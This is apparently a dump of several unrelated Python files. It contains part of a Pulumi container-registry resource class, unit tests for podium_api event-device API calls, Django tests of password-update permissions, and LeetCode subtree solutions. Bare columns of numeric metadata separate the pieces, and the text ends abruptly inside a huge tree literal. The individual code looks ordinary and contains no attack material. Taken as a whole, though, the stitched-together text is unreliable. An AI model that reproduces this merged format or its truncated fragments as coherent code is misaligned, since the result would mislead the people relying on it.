pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] detail: The repository specific information. MarkDown format is supported, and the length limit is 2000. :param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition instance. :param pulumi.Input[str] name: Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. :param pulumi.Input[str] namespace: Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. :param pulumi.Input[str] repo_id: The uuid of Container Registry Enterprise Edition repository. :param pulumi.Input[str] repo_type: `PUBLIC` or `PRIVATE`, repo's visibility. :param pulumi.Input[str] summary: The repository general information. It can contain 1 to 100 characters. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _RegistryEnterpriseRepoState.__new__(_RegistryEnterpriseRepoState) __props__.__dict__["detail"] = detail __props__.__dict__["instance_id"] = instance_id __props__.__dict__["name"] = name __props__.__dict__["namespace"] = namespace __props__.__dict__["repo_id"] = repo_id __props__.__dict__["repo_type"] = repo_type __props__.__dict__["summary"] = summary return RegistryEnterpriseRepo(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def detail(self) -> pulumi.Output[Optional[str]]: """ The repository specific information. MarkDown format is supported, and the length limit is 2000. """ return pulumi.get(self, "detail") @property @pulumi.getter(name="instanceId") def instance_id(self) -> pulumi.Output[str]: """ ID of Container Registry Enterprise Edition instance. """ return pulumi.get(self, "instance_id") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ Name of Container Registry Enterprise Edition repository. It can contain 2 to 64 characters. """ return pulumi.get(self, "name") @property @pulumi.getter def namespace(self) -> pulumi.Output[str]: """ Name of Container Registry Enterprise Edition namespace where repository is located. It can contain 2 to 30 characters. """ return pulumi.get(self, "namespace") @property @pulumi.getter(name="repoId") def repo_id(self) -> pulumi.Output[str]: """ The uuid of Container Registry Enterprise Edition repository. """ return pulumi.get(self, "repo_id") @property @pulumi.getter(name="repoType") def repo_type(self) -> pulumi.Output[str]: """ `PUBLIC` or `PRIVATE`, repo's visibility. """ return pulumi.get(self, "repo_type") @property @pulumi.getter def summary(self) -> pulumi.Output[str]: """ The repository general information. It can contain 1 to 100 characters. """ return pulumi.get(self, "summary")
42.060041
180
0.644302
2,342
20,315
5.412041
0.086678
0.076371
0.09499
0.079842
0.832978
0.807022
0.791164
0.758659
0.750611
0.739882
0
0.007882
0.256855
20,315
482
181
42.147303
0.831688
0.386857
0
0.646825
1
0
0.08508
0.011326
0
0
0
0
0
1
0.15873
false
0.003968
0.019841
0
0.27381
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9de14e18ebf5a5475d5139d89ba33e47378bcd2b
28,992
py
Python
tests/test_eventdevices.py
autosportlabs/podium-api
60449b74b46f3115a0b041db5404d3e1c884b86f
[ "MIT" ]
1
2018-05-31T01:32:08.000Z
2018-05-31T01:32:08.000Z
tests/test_eventdevices.py
autosportlabs/podium-api
60449b74b46f3115a0b041db5404d3e1c884b86f
[ "MIT" ]
4
2017-08-31T01:21:24.000Z
2018-09-19T01:55:34.000Z
tests/test_eventdevices.py
autosportlabs/podium-api
60449b74b46f3115a0b041db5404d3e1c884b86f
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import unittest import podium_api from podium_api.eventdevices import ( make_eventdevice_create, create_eventdevice_redirect_handler, make_eventdevices_get, make_eventdevice_delete, make_eventdevice_get, make_livestreams_get, make_eventdevice_update) from podium_api.types.eventdevice import get_eventdevice_from_json from podium_api.types.redirect import get_redirect_from_json from podium_api.types.token import PodiumToken from mock import patch, Mock try: from urllib.parse import urlencode except: from urllib import urlencode class TestEventDeviceCreate(unittest.TestCase): def setUp(self): podium_api.register_podium_application('test_id', 'test_secret') self.token = PodiumToken('test_token', 'test_type', 1) self.result_json = { 'location': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', 'object_type': 'eventdevice' } self.field_names = {} def check_results(self): for key in self.result_json: if key in self.field_names: rkey = self.field_names[key] else: rkey = key self.assertEqual(getattr(self.result, rkey), self.result_json[key]) def test_get_redirect_from_json(self): self.result = get_redirect_from_json(self.result_json, 'eventdevice') self.check_results() def success_cb(self, result): self.result = result @patch('podium_api.async.UrlRequest.run') def test_eventdevice_create(self, mock_request): req = make_eventdevice_create(self.token, 'test_event', 'test_device', "test name", '1234', 'P1', redirect_callback=self.success_cb) self.assertEqual(req._method, 'POST') self.assertEqual(req.url, 'https://podium.live/api/v1/events/test_event/devices') self.assertEqual( req.req_body, urlencode({'eventdevice[device_id]': 'test_device', 'eventdevice[name]': 'test name', 'eventdevice[comp_number]': '1234', 'eventdevice[comp_class]': 'P1'}) ) self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate response header req._resp_headers = self.result_json # simulate successful request req.on_redirect()(req, {}) self.check_results() @patch('podium_api.async.UrlRequest.run') def test_error_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_create(self.token, 'test_event', 'test_device', "test name", '1234', 'P1', failure_callback=error_cb) # simulate calling the requests on_error req.on_error()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'error', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': create_eventdevice_redirect_handler, '_redirect_callback': None} ) @patch('podium_api.async.UrlRequest.run') def test_failure_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_create(self.token, 'test_event', 'test_device', "test name", '1234', "P1", failure_callback=error_cb) # simulate calling the requests on_failure req.on_failure()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'failure', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': create_eventdevice_redirect_handler, '_redirect_callback': None} ) @patch('podium_api.async.UrlRequest.run') def test_success_callback(self, mock_request): success_cb = Mock() req = make_eventdevice_create(self.token, 'test_event', 'test_device', "test name", '1234', 'P1', success_callback=success_cb) # simulate calling the requests on_success self.assertEqual(req.on_success, None) @patch('podium_api.async.UrlRequest.run') def test_progress_callback(self, mock_request): progress_cb = Mock() req = make_eventdevice_create(self.token, 'test_event', 'test_device', 'test name', '1234', 'P1', progress_callback=progress_cb) # simulate calling the requests on_progress req.on_progress()(req, 0, 10) # assert our lambda called the mock correctly progress_cb.assert_called_with( 0, 10, {'success_callback': None, 'failure_callback': None, 'progress_callback': progress_cb, 'redirect_callback': create_eventdevice_redirect_handler, '_redirect_callback': None}) def tearDown(self): podium_api.unregister_podium_application() class TestEventDevicesGet(unittest.TestCase): def setUp(self): podium_api.register_podium_application('test_id', 'test_secret') self.token = PodiumToken('test_token', 'test_type', 1) self.result_json = { 'id': 'test_event_id', 'URI': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', 'device_uri': 'https://podium.live/api/v1/devices/test_device', 'comp_number': '1234', 'comp_class': 'P1', 'name': 'test name', 'laps_uri': 'test/laps', 'user_uri': 'test/user', 'event_uri': 'test/event', 'channels': [], 'device_id': 111, 'event_id': 222 } self.paged_event_json = {'total': 1, 'eventdevices': [self.result_json]} self.field_names = {'id': 'eventdevice_id', 'URI': 'uri'} def check_results_individual(self): for key in self.result_json: if key in self.field_names: rkey = self.field_names[key] else: rkey = key self.assertEqual(getattr(self.result, rkey), self.result_json[key]) def check_results_paged_response(self): result = self.result self.assertEqual(result.total, 1) self.assertEqual(result.next_uri, None) self.assertEqual(result.prev_uri, None) self.assertEqual(result.payload_name, 'eventdevices') for eventdevice in result.eventdevices: self.result = eventdevice self.check_results_individual() def test_get_eventdevice_from_json(self): self.result = get_eventdevice_from_json(self.result_json) self.check_results_individual() def success_cb(self, result): self.result = result @patch('podium_api.async.UrlRequest.run') def test_events_get(self, mock_request): req = make_eventdevices_get(self.token, event_id="test_event", per_page=100, start=0, success_callback=self.success_cb) self.assertEqual(req._method, 'GET') self.assertTrue( 'https://podium.live/api/v1/events/test_event/devices' in req.url ) self.assertTrue('per_page=100' in req.url) self.assertTrue('start=0' in req.url) self.assertTrue('expand=True' in req.url) self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate successful request req.on_success()(req, self.paged_event_json) self.check_results_paged_response() @patch('podium_api.async.UrlRequest.run') def test_livestreams_get(self, mock_request): req = make_livestreams_get(self.token, per_page=100, start=0, success_callback=self.success_cb) self.assertEqual(req._method, 'GET') self.assertTrue( 'https://podium.live/api/v1/livestreams' in req.url ) self.assertTrue('per_page=100' in req.url) self.assertTrue('start=0' in req.url) self.assertTrue('expand=True' in req.url) self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate successful request req.on_success()(req, self.paged_event_json) self.check_results_paged_response() @patch('podium_api.async.UrlRequest.run') def test_error_callback(self, mock_request): error_cb = Mock() req = make_eventdevices_get(self.token, event_id="test_event", per_page=100, start=0, failure_callback=error_cb) # simulate calling the requests on_error req.on_error()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with('error', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None}) @patch('podium_api.async.UrlRequest.run') def test_failure_callback(self, mock_request): error_cb = Mock() req = make_eventdevices_get(self.token, event_id="test_event", per_page=100, start=0, failure_callback=error_cb) # simulate calling the requests on_failure req.on_failure()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with('failure', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None}) @patch('podium_api.async.UrlRequest.run') def test_redirect_callback(self, mock_request): redir_cb = Mock() req = make_eventdevices_get(self.token, event_id="test_event", per_page=100, start=0, redirect_callback=redir_cb) # simulate calling the requests on_redirect req.on_redirect()(req, {}) # assert our lambda called the mock correctly redir_cb.assert_called_with(req, None, {'success_callback': None, 'failure_callback': None, 'progress_callback': None, 'redirect_callback': redir_cb}) @patch('podium_api.async.UrlRequest.run') def test_progress_callback(self, mock_request): progress_cb = Mock() req = make_eventdevices_get(self.token, event_id="test_event", per_page=100, start=0, progress_callback=progress_cb) # simulate calling the requests on_progress req.on_progress()(req, 0, 10) # assert our lambda called the mock correctly progress_cb.assert_called_with(0, 10, {'success_callback': None, 'failure_callback': None, 'progress_callback': progress_cb, 'redirect_callback': None}) def tearDown(self): podium_api.unregister_podium_application() class TestEventDeviceDelete(unittest.TestCase): def setUp(self): podium_api.register_podium_application('test_id', 'test_secret') self.token = PodiumToken('test_token', 'test_type', 1) def check_results(self): self.assertEqual( self.result, 'https://podium.live/api/v1/events/test_event/devices/test_device' ) def success_cb(self, result): self.result = result @patch('podium_api.async.UrlRequest.run') def test_event_delete(self, mock_request): req = make_eventdevice_delete( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', success_callback=self.success_cb ) self.assertEqual(req._method, 'DELETE') self.assertEqual( req.url, 'https://podium.live/api/v1/events/test_event/devices/test_device' ) self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate successful request req.on_success()(req, {}) self.check_results() @patch('podium_api.async.UrlRequest.run') def test_error_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_delete( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', failure_callback=error_cb ) # simulate calling the requests on_error req.on_error()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'error', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None, 'deleted_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_failure_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_delete( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', failure_callback=error_cb ) # simulate calling the requests on_failure req.on_failure()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'failure', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None, 'deleted_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_redirect_callback(self, mock_request): redir_cb = Mock() req = make_eventdevice_delete( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', redirect_callback=redir_cb ) # simulate calling the requests on_redirect req.on_redirect()(req, {}) # assert our lambda called the mock correctly redir_cb.assert_called_with( req, None, {'success_callback': None, 'failure_callback': None, 'progress_callback': None, 'redirect_callback': redir_cb, 'deleted_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_progress_callback(self, mock_request): progress_cb = Mock() req = make_eventdevice_delete( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', progress_callback=progress_cb ) # simulate calling the requests on_progress req.on_progress()(req, 0, 10) # assert our lambda called the mock correctly progress_cb.assert_called_with( 0, 10, {'success_callback': None, 'failure_callback': None, 'progress_callback': progress_cb, 'redirect_callback': None, 'deleted_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) def tearDown(self): podium_api.unregister_podium_application() class TestEventDeviceGet(unittest.TestCase): def setUp(self): podium_api.register_podium_application('test_id', 'test_secret') self.token = PodiumToken('test_token', 'test_type', 1) self.result_json = { 'id': 'test_event_id', 'URI': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', 'device_uri': 'https://podium.live/api/v1/devices/test_device', 'name': 'test name', 'comp_number': '1234', 'comp_class': 'P1', 'laps_uri': 'test/laps', 'channels': [], 'device_id': 111, 'event_id': 222 } self.field_names = {'id': 'eventdevice_id', 'URI': 'uri'} def check_results(self): for key in self.result_json: if key in self.field_names: rkey = self.field_names[key] else: rkey = key self.assertEqual(getattr(self.result, rkey), self.result_json[key]) def success_cb(self, result): self.result = result @patch('podium_api.async.UrlRequest.run') def test_event_get(self, mock_request): req = make_eventdevice_get(self.token, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', success_callback=self.success_cb) self.assertEqual(req._method, 'GET') self.assertEqual(req.url, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device?expand=True') self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate successful request req.on_success()(req, {'eventdevice': self.result_json}) self.check_results() @patch('podium_api.async.UrlRequest.run') def test_error_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_get(self.token, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', failure_callback=error_cb) # simulate calling the requests on_error req.on_error()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with('error', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None}) @patch('podium_api.async.UrlRequest.run') def test_failure_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_get(self.token, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', failure_callback=error_cb) # simulate calling the requests on_failure req.on_failure()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with('failure', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None}) @patch('podium_api.async.UrlRequest.run') def test_redirect_callback(self, mock_request): redir_cb = Mock() req = make_eventdevice_get(self.token, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', redirect_callback=redir_cb) # simulate calling the requests on_redirect req.on_redirect()(req, {}) # assert our lambda called the mock correctly redir_cb.assert_called_with(req, None, {'success_callback': None, 'failure_callback': None, 'progress_callback': None, 'redirect_callback': redir_cb}) @patch('podium_api.async.UrlRequest.run') def test_progress_callback(self, mock_request): progress_cb = Mock() req = make_eventdevice_get(self.token, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device', progress_callback=progress_cb) # simulate calling the requests on_progress req.on_progress()(req, 0, 10) # assert our lambda called the mock correctly progress_cb.assert_called_with(0, 10, {'success_callback': None, 'failure_callback': None, 'progress_callback': progress_cb, 'redirect_callback': None}) def tearDown(self): podium_api.unregister_podium_application() class TestEventDeviceUpdate(unittest.TestCase): def setUp(self): podium_api.register_podium_application('test_id', 'test_secret') self.token = PodiumToken('test_token', 'test_type', 1) def success_cb(self, result, uri): self.result = result self.uri = uri def check_results(self): self.assertEqual(self.result, {'message': 'Update success'}) self.assertEqual(self.uri, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device') @patch('podium_api.async.UrlRequest.run') def test_event_update(self, mock_request): req = make_eventdevice_update( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', name='new_name', success_callback=self.success_cb ) self.assertEqual(req._method, 'PUT') self.assertEqual(req.req_body, urlencode({'eventdevice[name]': 'new_name'})) self.assertEqual(req.url, 'https://podium.live/api/v1/events/' 'test_event/devices/test_device') self.assertEqual(req.req_headers['Content-Type'], 'application/x-www-form-urlencoded') self.assertEqual(req.req_headers['Authorization'], 'Bearer {}'.format(self.token.token)) self.assertEqual(req.req_headers['Accept'], 'application/json') # simulate successful request req.on_success()(req, {'message': 'Update success'}) self.check_results() @patch('podium_api.async.UrlRequest.run') def test_error_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_update( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', name='new_name', comp_number='1234', comp_class='P1', failure_callback=error_cb) # simulate calling the requests on_error req.on_error()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'error', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None, 'updated_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_failure_callback(self, mock_request): error_cb = Mock() req = make_eventdevice_update( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', name='new_name', comp_number='1234', comp_class='P1', failure_callback=error_cb) # simulate calling the requests on_failure req.on_failure()(req, {}) # assert our lambda called the mock correctly error_cb.assert_called_with( 'failure', {}, {'success_callback': None, 'failure_callback': error_cb, 'progress_callback': None, 'redirect_callback': None, 'updated_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_redirect_callback(self, mock_request): redir_cb = Mock() req = make_eventdevice_update( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', name='new_name', comp_number='1234', comp_class='P1', redirect_callback=redir_cb) # simulate calling the requests on_redirect req.on_redirect()(req, {}) # assert our lambda called the mock correctly redir_cb.assert_called_with( req, None, {'success_callback': None, 'failure_callback': None, 'progress_callback': None, 'redirect_callback': redir_cb, 'updated_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) @patch('podium_api.async.UrlRequest.run') def test_progress_callback(self, mock_request): progress_cb = Mock() req = make_eventdevice_update( self.token, 'https://podium.live/api/v1/events/test_event/devices/test_device', name='new_name', comp_number='1234', comp_class='P1', progress_callback=progress_cb) # simulate calling the requests on_progress req.on_progress()(req, 0, 10) # assert our lambda called the mock correctly progress_cb.assert_called_with( 0, 10, {'success_callback': None, 'failure_callback': None, 'progress_callback': progress_cb, 'redirect_callback': None, 'updated_uri': 'https://podium.live/api/v1/events/' 'test_event/devices/test_device'} ) def tearDown(self): podium_api.unregister_podium_application()
43.142857
81
0.552049
2,932
28,992
5.199181
0.050136
0.04487
0.035424
0.042509
0.910785
0.898452
0.875689
0.867882
0.855287
0.847415
0
0.009381
0.345509
28,992
671
82
43.207154
0.793992
0.06519
0
0.817052
0
0
0.232991
0.06273
0
0
0
0
0.120782
1
0.087034
false
0
0.015986
0
0.111901
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9de72af24b918945e83b71c2fab4190fb464c9ff
10,357
py
Python
medical_prescription/user/test/test_updatepassword_view.py
thiagonf/Sprint-3-GPP
89f1dcf4e649f1bbbb8e21ea6b6f8a4565c996e2
[ "MIT" ]
null
null
null
medical_prescription/user/test/test_updatepassword_view.py
thiagonf/Sprint-3-GPP
89f1dcf4e649f1bbbb8e21ea6b6f8a4565c996e2
[ "MIT" ]
2
2020-06-05T18:41:29.000Z
2021-06-10T20:35:12.000Z
medical_prescription/user/test/test_updatepassword_view.py
thiagonf/Sprint-3-GPP
89f1dcf4e649f1bbbb8e21ea6b6f8a4565c996e2
[ "MIT" ]
null
null
null
# Django imports from django.test import TestCase from django.test.client import RequestFactory from django.contrib.auth.models import AnonymousUser from django.core.exceptions import PermissionDenied # Local Django imports from user.views import UpdateUserPassword from user.models import User, Patient, HealthProfessional class TestUpdateHealthProfessionalPassword(TestCase): def setUp(self): self.factory = RequestFactory() self.health_professional = HealthProfessional.objects.create_user(email='doctor@doctor.com', password='senha12') self.patient = Patient.objects.create_user(email='patient@patient.com', password='senha12', CEP='72850735', UF='DF', city='Bras lia', neighborhood='Asa sul', complement='Bloco 2 QD 701') self.user = User.objects.create_user(email='user@user.com', password='senha12') def get_without_login(self): request = self.factory.get('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = AnonymousUser() response = UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) self.assertEqual(response.status_code, 302) def test_get_health_professional_with_patient(self): request = self.factory.get('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.patient with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) def test_get_health_professional_with_user(self): request = self.factory.get('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.user with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) def test_get_health_professional_with_own_health_professional(self): request = self.factory.get('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.health_professional response = UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) self.assertEqual(response.status_code, 200) def test_get_health_professional_with_health_professional(self): request = self.factory.get('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.health_professional with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email='teste@teste.com') def post_without_login(self): request = self.factory.post('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = AnonymousUser() response = UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) self.assertEqual(response.status_code, 302) def test_post_health_professional_with_patient(self): request = self.factory.post('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.patient with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) def test_post_health_professional_with_user(self): request = self.factory.post('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.user with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) def test_post_health_professional_with_own_health_professional(self): request = self.factory.post('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.health_professional response = UpdateUserPassword.edit_health_professional_password_view(request, email=self.health_professional.email) self.assertEqual(response.status_code, 200) def test_post_health_professional_with_health_professional(self): request = self.factory.post('user/editpasswordhealthprofessional/(?P<email>[\w|\W]+)') request.user = self.health_professional with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_health_professional_password_view(request, email='teste@teste.com') class UpdatePatientPassword(TestCase): def setUp(self): self.factory = RequestFactory() self.health_professional = HealthProfessional.objects.create_user(email='doctor@doctor.com', password='senha12') self.patient = Patient.objects.create_user(email='patient@patient.com', password='senha12', CEP='72850735', UF='DF', city='Bras lia', neighborhood='Asa sul', complement='Bloco 2 QD 701') self.user = User.objects.create_user(email='user@user.com', password='senha12') def _without_login(self): request = self.factory.get('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = AnonymousUser() response = UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) self.assertEqual(response.status_code, 302) def test_edit_patient_with_user(self): request = self.factory.get('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.user with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) def test_edit_patient_with_health_professional(self): request = self.factory.get('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.health_professional with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) def test_edit_patient_with_own_patient(self): request = self.factory.get('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.patient response = UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) self.assertEqual(response.status_code, 200) def test_edit_patient_with_patient(self): request = self.factory.get('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.patient with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email='teste@teste.com') def post_without_login(self): request = self.factory.post('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = AnonymousUser() response = UpdateUserPassword.edit_patient_password_view(request, email=self.health_professional.email) self.assertEqual(response.status_code, 302) def test_post_patient_with_patient(self): request = self.factory.post('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.patient with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email="teste@teste.com") def test_post_patient_with_user(self): request = self.factory.post('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.user with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) def test_post_patient_with_own_patient(self): request = self.factory.post('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.patient response = UpdateUserPassword.edit_patient_password_view(request, email=self.patient.email) self.assertEqual(response.status_code, 200) def test_post_patient_with_health_professional(self): request = self.factory.post('user/editpasswordpatient/(?P<email>[\w|\W]+)') request.user = self.health_professional with self.assertRaises(PermissionDenied): UpdateUserPassword.edit_patient_password_view(request, email=self.health_professional.email)
50.276699
114
0.579608
918
10,357
6.330065
0.079521
0.130098
0.051626
0.075718
0.940286
0.936844
0.935811
0.930993
0.907245
0.891069
0
0.008652
0.330405
10,357
205
115
50.521951
0.829272
0.003379
0
0.824675
0
0
0.12288
0.09594
0
0
0
0
0.12987
1
0.142857
false
0.318182
0.038961
0
0.194805
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
d1fa45c6803302f29562af5d2101039cc199b51e
11,951
py
Python
src/572. Subtree of Another Tree.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
src/572. Subtree of Another Tree.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
src/572. Subtree of Another Tree.py
xiaonanln/myleetcode-python
95d282f21a257f937cd22ef20c3590a69919e307
[ "Apache-2.0" ]
null
null
null
# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def isSubtree(self, s, t): """ :type s: TreeNode :type t: TreeNode :rtype: bool """ def isEqual(t1, t2): if not t1 and not t2: return True elif not t1 or not t2: return False else: return t1.val == t2.val and isEqual(t1.left, t2.left) and isEqual(t1.right, t2.right) if isEqual(s, t): return True return s is not None and (self.isSubtree(s.left, t) or self.isSubtree(s.right, t)) from hashlib import sha256 class Solution(object): def isSubtree(self, s, t): """ :type s: TreeNode :type t: TreeNode :rtype: bool """ def makehash(root): if not root: return '#' lh = makehash(root.left) rh = makehash(root.right) h = sha256() h.update(lh+str(root.val)+rh) root.hash = h.digest() # print root.hash return root.hash makehash(s) makehash(t) def isEqual(t1, t2): if not t1 and not t2: return True elif not t1 or not t2: return False else: return t1.hash == t2.hash if isEqual(s, t): return True return s is not None and (self.isSubtree(s.left, t) or self.isSubtree(s.right, t)) import utils null = None s = utils.maketree( [1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null,1,null